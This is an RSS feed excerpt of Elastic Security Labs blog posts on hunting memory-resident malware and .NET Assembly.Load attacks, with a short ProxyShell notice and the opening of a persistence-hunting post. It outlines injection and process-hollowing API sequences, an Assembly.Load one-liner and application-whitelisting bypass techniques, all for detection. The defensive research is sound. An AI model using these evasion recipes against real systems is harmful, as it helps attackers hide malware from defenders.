    <description><![CDATA[Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack.]]></description>
    <content:encoded><![CDATA[<p>Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack lifecycle. To be successful, hunters must continually hone their subject matter expertise on the latest attacker techniques and detection methods. Memory resident malware, which presents itself in many forms, is an attacker technique that has existed for over a decade. The popularity of memory resident malware has steadily <a href="https://www.cyber.nj.gov/threat-analysis/fileless-evasive-intrusion-tactics-pose-challenge-for-network-defense">increased</a> over time, possibly resulting from the proliferation of code and knowledge of in memory techniques. More likely, its popularity reflects the success of memory-based techniques to evade detection by security products and practitioners. Once limited to advanced adversaries, memory resident techniques are now commonplace for all levels of adversary sophistication. I will examine the most common of these memory based attacker techniques, and walk through our team’s research to craft a scalable, low noise approach to hunting for adversaries that are hiding in memory.</p>
<h2 id="attackertechniques">Attacker Techniques</h2>
<p>Before I address memory hunting methods to detect adversaries in your network, it is helpful to understand the common forms of memory resident malware. These techniques include shellcode injection, reflective DLL injection, memory module, process and module hollowing, and Gargoyle (ROP/APC).</p>
<h3 id="shellcodeinjection">SHELLCODE INJECTION</h3>
<p>Shellcode injection is the most basic in-memory technique and has also been around the longest. The basic ‘recipe’ for shellcode injection is a four step process. These steps are: 1) open a target process (OpenProcess); 2) allocate a chunk of memory in the process (VirtualAllocEx); 3) write the shellcode payload to the newly allocated section (WriteProcessMemory); and 4) create a new thread in the remote process to execute the shellcode (CreateRemoteThread). The venerable <a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf">Poison Ivy</a> malware uses this technique, which is a big reason why so many APT groups were drawn to it over the years.</p>
<p>If you pull up a Poison Ivy <a href="https://www.virustotal.com/en/file/e0a8e823b446764e2b536e81d3fefaa9a562dd8c0614b3bdb345233de27e216a/analysis/">sample</a>with x64dbg and set a breakpoint on VirtualAllocEx, you will soon locate the chunk of code responsible for the injection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf486b23f829577e/6a7d820dea068d2367f07239/endgame-shellcode-injection.jpg" alt="Shellcode Injection" title="Shellcode Injection" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcb425a7d17257f1f/6a7d8210fc63abf2a9649fd4/endgame-shellcode-injection-2.jpg" alt="Shellcode Injection" title="Shellcode Injection" /></p>
<p>In the first image, the push 40 instruction preceding the call to VirtualAllocEx corresponds to page access protection value of PAGE_EXECUTE_READWRITE. In the following screenshot from <a href="http://processhacker.sourceforge.net/">ProcessHacker</a> of the memory layout of a Poison Ivy implant, you can see it allocates a number of these RWX sections.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt77b825e9a71bb6d8/6a7d8212bd21987e097552d7/endgame-poinson-ivy-implant.jpg" alt="Poison Ivy Implant" title="Poison Ivy Implant" /></p>
<p>Typical code sections are of type ‘Image’ and map to a file on disk. However, these are type ‘Private’ and do not map to a file on disk. They are therefore referred to as unbacked executable sections or floating code. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity. ProcessHacker can also show you the call stack of the malware threads. There are multiple functions in the call stack which do not map to memory associated with loaded modules.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0ef58c8680c2f06f/6a7d821596b5a673dd878662/endgame-processhacker.jpg" alt="ProcessHacker" title="ProcessHacker" /></p>
<h3 id="reflectivedllinjection">REFLECTIVE DLL INJECTION</h3>
<p>Reflective DLL injection, originally developed by <a href="https://github.com/stephenfewer/ReflectiveDLLInjection">Steven Fewer</a>, is another type of in memory attacker technique. Metasploit’s <a href="https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter">Meterperter</a> payload was one of the first attempts to fully weaponize the technique, but many malware families use it today. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window’s loader. The injection process is identical to shellcode injection, except the shellcode is replaced with a self-mapping DLL. The self-mapping component added to the DLL is responsible for resolving import addresses, fixing relocations, and calling the DllMain function. Attackers benefit from the ability to code in higher level languages like C/C++ instead of assembly.</p>
<p>Classic reflective DLL injection, such as that used by Meterpreter, is easy for hunters to find. It leaves large RWX memory sections in the process, even when the meterpreter session is closed. The start of these unbacked executable memory sections contain the full MZ/PE header, as shown in the images below. However, keep in mind that other reflective DLL implementations could wipe the headers and fix the memory leak.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt87b541c8a1a91734/6a7d821833fa8a2d391ff98f/_endgame-unbacked-executable-memory-sections.jpg" alt="Unbacked executable memory sections" title="Unbacked executable memory sections" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt94416d5b235df4b4/6a7d821be02fac91715d3536/_endgame-unbacked-executable-memory-sections-2.jpg" alt="unbacked executable memory sections" title="unbacked executable memory sections" /></p>
<p>The DLLs loaded in memory also conveniently export a self-describing function called ReflectiveLoader().</p>
<h3 id="reflectiveloaderhttpsimagescontentstackiov3assetsbltefdd0b53724fa2ceblt0522ac7db6c4c5c16a7d821e227b1cb8cc595820endgamereflectiveloaderjpgreflectiveloader"><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0522ac7db6c4c5c1/6a7d821e227b1cb8cc595820/endgame-reflective-loader.jpg" alt="Reflective Loader" title="Reflective Loader" /></h3>
<h3 id="memorymodule">MEMORY MODULE</h3>
<p><a href="https://github.com/fancycode/MemoryModule">Memory module</a> is another memory resident attacker technique. It is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. Essentially, the memory module loader re-implements the LoadLibrary function, but it works on a buffer in memory instead of a file on disk. The original implementation was designed for mapping in the current process, but updated techniques can map the module into <a href="https://github.com/DarthTon/Blackbone">remote processes</a>. Most implementations respect the section permissions of the target DLL and avoid the noisy RWX approach.</p>
<p><a href="https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests">NetTraveler</a> is one malware family that uses a memory module style technique. When NetTraveler starts, it unpacks the core functionality and maps it into memory. The page permissions more closely resemble a legitimate DLL, however the memory regions are still private as opposed to image.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta5ca990793fa8da8/6a7d82216c6eac4f0cf11372/endgame-nettraveler-permissions.jpg" alt="NetTraveler page permissions" title="NetTraveler page permissions" /></p>
<p>The active threads have start addresses at these private regions. The callstack also reveals these malicious sections.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0604041ec5a1ae4e/6a7d8224448e4eaae55bdb54/_endgame-callstack-malicious-sections.jpg" alt="endgame-callstack-malicious-sections.png" title="endgame-callstack-malicious-sections.png" /></p>
<p><a href="https://hitcon.org/2016/pacific/0composition/pdf/1201/1201%20R2%201610%20winnti%20polymorphism.pdf">Winnti</a> is yet another malware sample that uses the Memory Module technique. They had a minor slip on the section permissions of the first page, as you can see below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7373be37b726b85e/6a7d8226448e4e1ad75bdb58/endgame-section-permissions.jpg" alt="endgame-section-permissions.jpg" title="endgame-section-permissions.jpg" /></p>
<p>However, the Winnti sample was notable because the MZ/PE headers in the DLL were erased, making it more difficult to detect.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt85465db21c188104/6a7d8229448e4e17245bdb5c/_endgame-DLL.jpg" alt="_endgame-DLL.jpg" title="_endgame-DLL.jpg" /></p>
<h3 id="processhollowing">PROCESS HOLLOWING</h3>
<p>Process hollowing is another technique attackers use to prevent their malware from being detected by security products and hunters. It involves creating a suspended process, unmapping (hollowing) the original executable from the process, allocating and writing a new payload to the process, redirecting the execution of the original thread to the new payload with SetThreadContext, and finally calling ResumeThread to complete. More stealthy variants use Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry point with a jump instead of using SetThreadContext.</p>
<p><a href="https://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html">DarkComet</a> is one of many malware families that use process hollowing techniques. Several artifacts can be used to detect process hollowing. One dead giveaway for this activity is a process being spawned with the CREATE_SUSPENDED flag, as shown in the following screenshot from a DarkComet sample.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb03b8892a1d5b1ec/6a7d822bb43770010e4d3f91/_endgame-darkcomet-sample.jpg" alt="_endgame-darkcomet-sample.jpg" title="_endgame-darkcomet-sample.jpg" /></p>
<h3 id="moduleoverwriting">MODULE OVERWRITING</h3>
<p>So far, all techniques discussed have led to the execution of non-image backed code, and were therefore fairly straightforward to detect. Module overwriting, on the other hand, avoids this requirement, making it much more difficult to detect. This technique consists of mapping an unused module into a target process and then overwriting the module with its own payload. Flame was the first widely publicized malware family to use this technique. More recently, Careto and Odinaff malware families have used module overwriting techniques. Various techniques can be used to reliably detect module overwriting, which involves comparing memory to associated data on disk.</p>
<h3 id="gargoyle">GARGOYLE</h3>
<p><a href="https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html">Gargoyle</a> is a proof of concept technique for memory resident malware that can evade detection from many security products. It accomplishes this feat by laying dormant with read-only page protections. It then periodically wakes up, using an asynchronous procedure call, and executes a ROP chain to mark its payload as executable before jumping to it. After the payload finishes executing, Gargoyle again masks its page permissions and goes back to sleep. One way to detect this attacker technique is to examine threads and user APCs for evidence of ROP chains.</p>
<h2 id="detectinginmemoryattacks">Detecting In-Memory Attacks</h2>
<p>Given the proliferation and accessibility of these techniques, security personnel must be vigilant for memory-based attacker techniques and proactively hunt for them on their networks. However, most products cannot generically detect in-memory attacks at scale, leaving defenders with an enormous gap in their ability to protect against these attacks. Endgame has done significant research to bring low-noise detection capabilities into our product for each method mentioned above.</p>
<p>Given the immense size and impact of this detection gap, it is important to raise all boats, not just those of our customers. For this reason, we collaborated with Jared Atkinson on his powershell tool called <a href="https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2">Get-InjectedThreads</a>, which implements a relatively low-noise method of detecting in memory threats. It scans active threads on the system for suspicious start addresses. Hunters leverage it to scan hosts in their networks and quickly identify many memory resident malware techniques. The script works by querying each active thread with the NtQueryInformationThread function to retrieve its start address. The start address is then queried with the VirtualQueryEx function to determine the associated section properties. If the memory region where the thread started is unbacked and executable (i.e. not image type and has execute bit set), then the thread is considered injected. The following screenshot shows a sample detection when run on a system infected with a 9002 RAT <a href="https://www.virustotal.com/en/file/49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129/analysis/">sample</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta943cdd393c83929/6a7d822edd26d230512a727d/_endgame-RAT-sample.jpg" alt="_endgame-RAT-sample.jpg" title="_endgame-RAT-sample.jpg" /></p>
<p>The script will catch a variety of malware families leveraging the shellcode injection, reflective DLL, memory module, and some process hollowing techniques. However, it is no replacement for security products that comprehensively prevent in-memory attacks, such as Endgame.</p>
<h2 id="enterpriseinmemorydetectionatscale">Enterprise In-Memory Detection at Scale</h2>
<p>Endgame has built detections for each of these techniques (and many more) into our enterprise security platform, offering best in market capabilities to locate in-memory threats. We do not simply rely on naïve approaches like monitoring well-known system call sequences for process injection, but efficiently analyze memory to find all known evasion capabilities. This provides our users with thread-level visibility on injected code, as well as sophisticated follow-on actions like examining the injected code and suspending only a malicious injected thread to remediate the threat. Our platform is effective both in stopping injection as it is happening in real time as well as locating already resident adversaries hiding in memory, locating threats across tens of thousands of hosts in seconds.</p>
<p>Like any signatureless detection technique, false positives (FPs) are an important consideration. As we researched and implemented our technique-based preventions for each adversary technique described above, we initially encountered FPs at every step of the way. Handling these correctly in our product is of paramount importance.</p>
<p>Most FPs are related to security software, Just-In-Time (JIT) compiled code, or DRM protected/packed applications. Security products sometimes inject code to some or all processes on the system to enhance their behavioral detection capabilities. The downside is if the product is sloppy in its methods, it can actually <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf">harm</a> the security of the system and make hunting for real in memory threats more difficult. JIT code, another potential area for false positives, generates assembly code at runtime which lives in unbacked or floating memory regions. .NET or Java applications are a couple of examples which use JIT techniques. Fortunately, this type of code is easier to identify and filter than rogue security products. Lastly, applications packed or protected with Digital Rights Management (DRM) schemes should be kept in mind. These applications may decrypt or deobfuscate their core functionality in memory to deter debugging and reverse engineering. However, the same techniques are used by malware to evade detection and deter analysis from security practitioners.</p>
<p>Through careful design decisions and extensive testing, we have managed to achieve very low false positive rates, allowing Endgame users to root out in-memory threats rapidly.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Adversaries will continue to innovate new techniques to avoid detection and accomplish their objectives. Memory resident techniques are no exception, and have been a thorn in the side of endpoint security defenders for over a decade. Fortunately, by understanding the latest techniques, we can turn the tables and use this knowledge to develop new high fidelity detection methods. At Endgame, our comprehensive approach to these attacks have led us to a market leading position for fileless attack detection (adding to our other key technologies). For more on hunting for in-memory attacks, check out our <a href="https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory">slides</a> from our SANS Threat Hunting and IR Summit presentation.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-memory</link>
    <guid isPermaLink="false">hunting-memory</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Joe Desimone]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcf8ea2705cc8f4ce/6a7d8231c2cc096ee724669c/blog-thumb-generic-black.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Hunting For In-Memory .NET Attacks]]></title>
    <description><![CDATA[As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection]]></description>
    <content:encoded><![CDATA[<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt308707e700e8c53c/6a7d81f06c6eac567af1136a/Hunting-memory-hunting_in_memory_.net_1.png" alt="Hunting-memory-hunting_in_memory_.net_1.png" title="Hunting-memory-hunting_in_memory_.net_1.png" /></p>
<p>In past blog posts, we shared our <a href="https://www.endgame.com/blog/technical-blog/hunting-memory">approach</a> to hunting for traditional in-memory attacks along with in-depth <a href="https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">analysis</a> of many injection techniques. As a follow up to my DerbyCon <a href="https://www.endgame.com/resource/video/derbycon-talk-hunting-memory-resident-malware">presentation</a>, this post will investigate an emerging <a href="https://securelist.com/the-rise-of-net-and-powershell-malware/72417/">trend</a> of adversaries using .NET-based in-memory techniques to evade detection. I’ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks.</p>
<h2 id="thenetallure">The .NET Allure</h2>
<p>Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the <a href="https://en.wikipedia.org/wiki/.NET_Framework">.NET framework</a> comes <a href="https://blogs.msdn.microsoft.com/astebner/2007/03/14/mailbag-what-version-of-the-net-framework-is-included-in-what-version-of-the-os/">pre-installed</a> in all Windows versions. This is important as it enables the attackers’ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly <a href="http://www.ntcore.com/files/dotnetformat.htm">complicated</a>. Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don’t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the <a href="https://msdn.microsoft.com/en-us/library/system.reflection.assembly.load(v=vs.110).aspx">Assembly.Load(byte[])</a> function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like <a href="https://docs.microsoft.com/en-us/windows/device-security/device-guard/introduction-to-device-guard-virtualization-based-security-and-code-integrity-policies">Device Guard</a>. This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports.</p>
<h2 id="netattackertechniques">.NET Attacker Techniques</h2>
<p>Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months, there has been a noticeable uptick in tradecraft, which I’ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was <a href="https://www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/">observed</a> using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the <a href="https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/">OilRig</a> APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as <a href="https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/">ISMAgent</a>.</p>
<p>A third example, more familiar to red teams, is <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/ReflectivePick/ReflectivePick.cpp">ReflectivePick</a> by <a href="https://twitter.com/sixdub">Justin Warner</a> and <a href="https://twitter.com/tifkin_">Lee Christensen</a>. ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf69e1a2b072c8d58/6a7d81f2b437703c3e4d3f8d/Hunting-memory-load-assembly-from-memory-2.jpg" alt="Hunting-memory-load-assembly-from-memory-2.jpg" title="Hunting-memory-load-assembly-from-memory-2.jpg" /></p>
<p>It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, <a href="https://twitter.com/mattifestation">Matt Graeber</a> discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient “forever-day exploit” against hosts that are hardened with application whitelisting.</p>
<p><a href="https://twitter.com/subTee">Casey Smith</a> also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker-supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed.</p>
<p>Finally, <a href="https://twitter.com/tiraniddo">James Forshaw</a> developed the <a href="https://github.com/tyranid/DotNetToJScript">DotNetToJScript</a> technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestingly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1081">demonstrated</a> how to combine DotNetToJScript with <a href="https://www.endgame.com/blog/technical-blog/how-hunt-detecting-persistence-evasion-com">com hijacking</a> and Casey’s squiblydoo technique to inject code into <a href="http://www.alex-ionescu.com/?p=97">protected processes</a>. In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands.</p>
<p>The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is <a href="https://twitter.com/Oddvarmoe">Oddvar Moe’s</a> <a href="https://github.com/api0cradle/UltimateAppLockerByPassList">UltimateAppLockerByPassList</a>, and another is Microsoft’s own <a href="https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-steps">reference</a>.</p>
<h2 id="detectingnetattacks">Detecting .NET Attacks</h2>
<p>As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let’s explore two approaches to detecting these attacks: on-demand and real-time-based techniques.</p>
<h3 id="ondemanddetection">On-demand detection</h3>
<p>On-demand detection leverages snapshots in time-type data collection. You don’t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the <a href="https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2">Get-InjectedThread</a> script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by <a href="https://twitter.com/harmj0y">Will Schroeder</a> and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltea7f91690005c2cf/6a7d81f505b7b5503a188b68/Hunting-memory-calc.exe.2888-3.jpg" alt="Hunting-memory-calc.exe.2888-3.jpg" title="Hunting-memory-calc.exe.2888-3.jpg" /></p>
<p>This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa366775(v=vs.85).aspx">MEM_MAPPED</a>, although there is no associated file mapping object (Note the “Use” field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a <a href="https://github.com/dotnet/coreclr/blob/3452efb58d2f3be867080f8627417b264fcbd73c/src/vm/peimagelayout.cpp#L259">side effect</a> of loading a memory-only module with the Assembly.Load(byte[]) method.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt901afed07a6fc1a2/6a7d81f82f00b218a5efbf0d/Hunting-memory-calc.exe.2888.properties-4.jpg" alt="Hunting-memory-calc.exe.2888.properties-4.jpg" title="Hunting-memory-calc.exe.2888.properties-4.jpg" /></p>
<p>To automate this type of hunt, I wrote a PowerShell function called <a href="https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58">Get-ClrReflection</a> which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltab3a8956a85f153e/6a7d81fa5588adc000ee4318/Hunting-memory-Users-joe-desktop-5.jpg" alt="Hunting-memory-Users-joe-desktop-5.jpg" title="Hunting-memory-Users-joe-desktop-5.jpg" /></p>
<p>Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a “-f” switch. Below is an example from Empire.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt068f0a634f382b9d/6a7d81fde02facf6a95d3532/Hunting-memory-TypeRef-System-String-6.jpg" alt="Hunting-memory-TypeRef-System-String-6.jpg" title="Hunting-memory-TypeRef-System-String-6.jpg" /></p>
<h3 id="eventingbaseddetection">Eventing-based detection</h3>
<p>Eventing-based detecting is great because you won’t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released <a href="https://github.com/endgameinc/ClrGuard">ClrGuard</a>. ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire’s psinject function can be immediately detected and blocked in real-time as shown in the image below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf10fb21180a7847c/6a7d8200227b1cd091595818/Hunting-memory-CLR-Guard-7.jpg" alt="Hunting-memory-CLR-Guard-7.jpg" title="Hunting-memory-CLR-Guard-7.jpg" /></p>
<p>In a similar manner, OilRig’s ISMInjector can be quickly detected and blocked.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6945bef9d2049d17/6a7d820363e959495173aeca/Hunting-memory-Client-connected-endgame-8.jpg" alt="Hunting-memory-Client-connected-endgame-8.jpg" title="Hunting-memory-Client-connected-endgame-8.jpg" /></p>
<p>Another example below shows ClrGuard in action against Casey Smith’s universal.js tool.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltedaa614589d9dfea/6a7d82066c6eac402ef1136e/Hunting-memory-Administrator-endgame-9.gif" alt="Hunting-memory-Administrator-endgame-9.gif" title="Hunting-memory-Administrator-endgame-9.gif" /></p>
<p>While we don’t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon.</p>
<h2 id="conclusion">Conclusion</h2>
<p>It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/hunting-memory-net-attacks</link>
    <guid isPermaLink="false">hunting-memory-net-attacks</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Joe Desimone]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4a48b3eed3cfa3b4/6a7d8209bdcff037dfc40080/photo-edited-04@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Detection and response for the actively exploited ProxyShell vulnerabilities]]></title>
    <description><![CDATA[In the last week, Elastic Security has observed the exploitation of Microsoft Exchange vulnerabilities associated with ProxyShell. Review the post to find newly released details about this activity.]]></description>
    <content:encoded><![CDATA[<p>On August 21, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released an urgent <a href="https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell">notice</a> related to the exploitation of ProxyShell vulnerabilities (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207">CVE-2021-31207</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473">CVE-2021-34473</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523">CVE-2021-34523</a>). By chaining these vulnerabilities together, threat actors are compromising unpatched Microsoft Exchange servers and gaining footholds into enterprise networks. <a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows">Security vendors</a> and <a href="https://twitter.com/KyleHanslovan/status/1428804893423382532?s=20">researchers</a> are also observing these attacks tied to post-exploitation behavior such as deploying ransomware to victim environments.</p>
<p>Elastic Security identified indicators of compromise (IoCs) indicating similar activity as reported by the industry. The details of this activity can be found in our Discuss forum, highlighting our perspective of what we have observed in our own telemetry.</p>
<p>Please visit the <a href="https://discuss.elastic.co/t/detection-and-response-for-proxyshell-activity/282407">Discuss forum</a> for full details on our identified IoCs.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities</link>
    <guid isPermaLink="false">detection-and-response-for-the-actively-exploited-proxyshell-vulnerabilities</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9fec583e91fbe1a7/6a7d7f23b43770ff064d3efa/blog-thumb-blind-spots.png" length="0" type="image/png"/>
    <pubDate>Thu, 02 Jun 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1)]]></title>
    <description><![CDATA[Learn how Elastic Endpoint Security and Elastic SIEM can be used to hunt for and detect malicious persistence techniques at scale.]]></description>
    <content:encoded><![CDATA[<p>Last month, we hosted a webinar, <a href="https://www.elastic.co/webinars/hunting-for-persistence-using-elastic-security">Hunting for persistence using Elastic Security</a>, where we examined some techniques that attackers use in the wild to maintain presence in their victim’s environment. For each technique covered, we explained:</p>
<ul>
<li>How the offensive technique works</li>
<li>Why the technique is often successful for attackers</li>
<li>How defenders can hunt for and detect the malicious behavior effectively using <a href="https://www.elastic.co/security">Elastic Security</a></li>
</ul>
<p>In this two-part blog series, we’ll share the details of what was covered during our webinar with the goal of helping security practitioners improve their visibility of these offensive persistence techniques and help to undermine the efficacy of these attacks against their organization.</p>
